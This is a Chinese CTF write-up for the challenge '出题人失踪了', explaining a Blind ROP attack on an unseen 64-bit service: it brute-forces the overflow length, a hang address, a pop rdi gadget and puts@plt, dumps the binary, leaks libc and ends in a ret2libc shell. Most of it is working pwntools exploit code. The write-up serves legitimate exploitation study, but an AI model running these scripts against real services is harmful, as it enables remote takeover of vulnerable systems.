出题人失踪了

题目并未给出源码或者二进制文件,本题采用BROP

BROP需要程序崩溃后会不断重启,并且程序不开canary或者canary每次都不变,程序基地址也不变,因为BROP实际上还是爆破的思想

这道题实际上符合BROP的条件

如果要在本地搭建环境可以使用socat,命令为

socat tcp-l:10001,fork exec:./brop

首先nc localhost 10001查看程序

程序首先会输出

WelCome my friend,Do you know password?

然后会让用户进行输入

随意输入几位,然后程序提示

No password, no game

应该是密码输入错误

如果输入超长的字符串,程序会无提示直接退出,猜测存在栈溢出

首先先测试栈溢出所需要的长度

exp如下:

from pwn import *

i = 1
while True:
    try:
        io = remote('127.0.0.1', 10001)
        io.recvuntil('WelCome my friend,Do you know password?\n')
        io.send(b'a' * i)
        res = io.recv()
        io.close()
        if b'No password, no game' in res:
            i += 1
        else:
            print('length: %d' % (i - 1))
            break
    except EOFError:
        try:
            io.close()
        except:
            pass
        print('length: %d' % (i - 1))
        break
    

 

得到栈溢出所需长度为72

出题人失踪了

 

 

 也就是程序应该是有64位的缓冲区,然后是8位的saved rbp,然后是8位的ret addr

之后的目标是找到一个hang addr,也就是让程序不崩溃进行循环保持连接的一个地址,这会为之后找到其他地址服务

exp如下:

from pwn import *

i = 0x400000
f = open('./hang.txt', 'a')
while True:
    info('now: ' + hex(i))
    try:
        io = remote('127.0.0.1', 10001)
        io.recvuntil('WelCome my friend,Do you know password?\n')
        io.send(b'a' * 72 + p64(i))
        res = io.recv(timeout = 0.5)
        io.send('aaaa')
        io.close()
        if b'WelCome my friend,Do you know password?\n' in res:
            f.write('main: ' + hex(i) + '\n')
            f.flush()
            info('main')
        else:
            f.write('other: ' + hex(i) + '\n')
            f.flush()
            info('other')
        pause()
    except EOFError:
        try:
            io.close()
        except:
            pass
    i += 1
    if i > 0x40000000:
        f.close()
        break
    

 

可以找到一些hang addr

这里找到了一个能够返回"WelCome my friend,Do you know password?"的地址0x4005c0,也就是回到了程序开始

出题人失踪了

 

 

 之后就是要找到一个gadget,目的是控制寄存器,然后调用输出函数将程序输出出来

这个题目不是write,是puts,所以不用控制三个,只需要控制一个rdi即可,所以目的是找到pop rdi; ret;

对一般的64位程序来说,都会有一个pop rdi; ret;

它在__libc_csu_init里面,是pop r15; ret;

对应的字节码是41 5f c3,如果从5f开始的话就变成了5f c3,对应着指令pop rdi; ret;

因此如果一个地址addr对应的是pop rdi; ret;,那么'a' * 72 + p64(addr - 1) + p64(0) + p64(hang addr),'a' * 72 + p64(addr) + p64(0) + p64(hang addr),'a' * 72 + p64(addr + 1) + p64(hang addr)这三个payload都能让程序回到程序开始,输出欢迎语句

exp如下:

from pwn import *
#context.log_level = 'debug'
i = 0x400000
hang_addr = 0x4005c0
while True:
    info('now: ' + hex(i))
    try:
        io = remote('127.0.0.1', 10001)
        io.recvuntil('WelCome my friend,Do you know password?\n')
        io.send(b'a' * 72 + p64(i - 1) + p64(0) + p64(hang_addr))
        res = io.recv(timeout = 0.5)
        io.close()
        if b'WelCome my friend,Do you know password?' in res:
            io = remote('127.0.0.1', 10001)
            io.recvuntil('WelCome my friend,Do you know password?\n')
            io.send(b'a' * 72 + p64(i) + p64(0) + p64(hang_addr))
            res = io.recv(timeout = 0.5)
            io.close()
            if b'WelCome my friend,Do you know password?' in res:
                io = remote('127.0.0.1', 10001)
                io.recvuntil('WelCome my friend,Do you know password?\n')
                io.send(b'a' * 72 + p64(i + 1) + p64(hang_addr))
                res = io.recv(timeout = 0.5)
                io.close()
                if b'WelCome my friend,Do you know password?' in res:
                    info('pop_rdi_ret: ' + hex(i))
                    pause()
    except:
        try:
            io.close()
        except:
            pass
    i += 1

得到了pop rdi; ret; 的地址0x4007c3(注意需要排除一些地址,比如如果之前的hang addr中有三个地址是挨着的hang addr,那么显然也会满足exp的条件,需要人工排除,比如0x4005c6,0x4005ce,0x4005cf,0x4006b7)

出题人失踪了

 

 

 之后的目的是找到puts_plt地址,在之前找main的操作中可以猜测出程序的基址是在0x400000

为此可以构造'a' * 72 + p64(pop_rdi_ret) + p64(elf_base) + p64(addr) + p64(hang_addr)

如果输出的前四位是ELF的文件头\x7f E L F,那么就知道addr是puts的地址

exp如下:

from pwn import *
#context.log_level = 'debug'
i = 0x400000
hang_addr = 0x4005c0
elf_base = 0x400000
pop_rdi_ret = 0x4007c3
while True:
    info('now: ' + hex(i))
    try:
        io = remote('127.0.0.1', 10001)
        io.recvuntil('WelCome my friend,Do you know password?\n')
        io.send(b'a' * 72 + p64(pop_rdi_ret) + p64(elf_base) + p64(i) + p64(hang_addr))
        res = io.recv(timeout = 0.5)
        io.close()
        if res[0: 4] == b'\x7fELF':
            info('puts_plt: ' + hex(i))
            pause()
    except:
        try:
            io.close()
        except:
            pass
    i += 1

得到puts_plt地址是0x400555(实际上puts_plt不一定是这个地址,有可能是这个地址偏后的一个地址,不过这个地址可以在执行几个无关的不影响的指令之后按顺序执行到puts_plt,因此可能会有多个可用的地址)

之后就是将程序dump下来

注意到\x00不会被输出,是puts的结束符,而puts还会以\x0a换行符作为结尾,因此需要将最后一个换行符替换成\x00

exp如下:

from pwn import *
#context.log_level = 'debug'
i = 0x400000
hang_addr = 0x4005c0
elf_base = 0x400000
pop_rdi_ret = 0x4007c3
puts_plt = 0x400555
f = open('./dump', 'wb')
while True:
    info('now: ' + hex(i))
    try:
        io = remote('127.0.0.1', 10001)
        io.recvuntil('WelCome my friend,Do you know password?\n')
        io.send(b'a' * 72 + p64(pop_rdi_ret) + p64(i) + p64(puts_plt) + p64(0))
        res = io.recv()
        if res[-1] == 10:
            res = res[:-1]
            res += b'\x00'
        if len(res) == 0:
            res = b'\x00'
        f.write(res[0].to_bytes(1, 'little'))
        f.flush()
        io.close()
    except:
        try:
            io.close()
        except:
            pass
    i += 1
    if i > 0x401000:
        f.close()
        break

这样就把程序dump下来了

注意我们dump的程序并不完整,缺少含有got表信息的一段,因此IDA的自动导入会失败,需要手动导入

方法是,打开IDA

出题人失踪了

 

 

 在这个界面勾选Options里面的Manual load

首先提示我们

出题人失踪了

 

 

 之后让我们选择程序的基地址

出题人失踪了

 

 

 这里就是0x400000不变,点击OK

出题人失踪了

 

 

 这部分选择Yes

出题人失踪了

 

 

 我们的程序缺少的就是这一部分,所以要选择No

出题人失踪了

 

 

 这里选择Yes

这样程序就导入IDA了,F5反编译

出题人失踪了

 

 

 这里sub_4006B6就是main函数

出题人失踪了

 

 

 看起来sub_400560就是puts函数

出题人失踪了

 

 

 这里就知道了0x601018就是puts_got,同时知道了真正的puts_plt其实是0x400560而不是之前的0x400555,至于0x400555为什么也可以理由见上

可以泄露puts_got的libc地址,根据末尾的地址判断远程的libc版本

泄露puts_got的libc地址exp如下:

from pwn import *
#context.log_level = 'debug'

start_addr = 0x4005c0
elf_base = 0x400000
pop_rdi = 0x4007c3
puts_plt = 0x400560
puts_got = 0x601018

io = remote('127.0.0.1', 10001)
io.recvuntil('WelCome my friend,Do you know password?\n')
payload = b'a' * 72 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
io.send(payload)

puts_addr = u64(io.recv().strip().ljust(8, b'\x00'))
info('puts_addr: ' + hex(puts_addr))

结果如下:

出题人失踪了

 

 

 结尾是6a0

使用libc_database进行查询,命令为./find puts 6a0

出题人失踪了

 64位的就一个libc2.23和我本地的libc,当然也可以多泄露几个的地址,比如

出题人失踪了

 

 

 这里的sub_400580应该是read,sub_4005A0应该是strcmp

最终可以确定远程所用的libc版本

确定一下puts的偏移,命令为./dump local-eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8

出题人失踪了

然后用./dump local-eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8,查看一些关键地址的偏移

出题人失踪了

 

 

 因此最终的exp如下:

from pwn import *
#context.log_level = 'debug'

start_addr = 0x4005c0
pop_rdi = 0x4007c3
puts_plt = 0x400560
puts_got = 0x601018

io = remote('127.0.0.1', 10001)
io.recvuntil('WelCome my friend,Do you know password?\n')
payload = b'a' * 72 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.send(payload)

puts_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
info('puts_addr: ' + hex(puts_addr))
libc_base = puts_addr - 0x6f6a0
info('libc_base: ' + hex(libc_base))
system_addr = libc_base + 0x453a0
info('system_addr: ' + hex(system_addr))
binsh_addr = libc_base + 0x18ce57
info('binsh_addr: ' + hex(binsh_addr))

io.recvuntil('WelCome my friend,Do you know password?')
payload = b'a' * 72 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(payload)

io.interactive()

 

上一篇:bjdctf_2020_babyrop来自BUUCTF


下一篇:others_babystack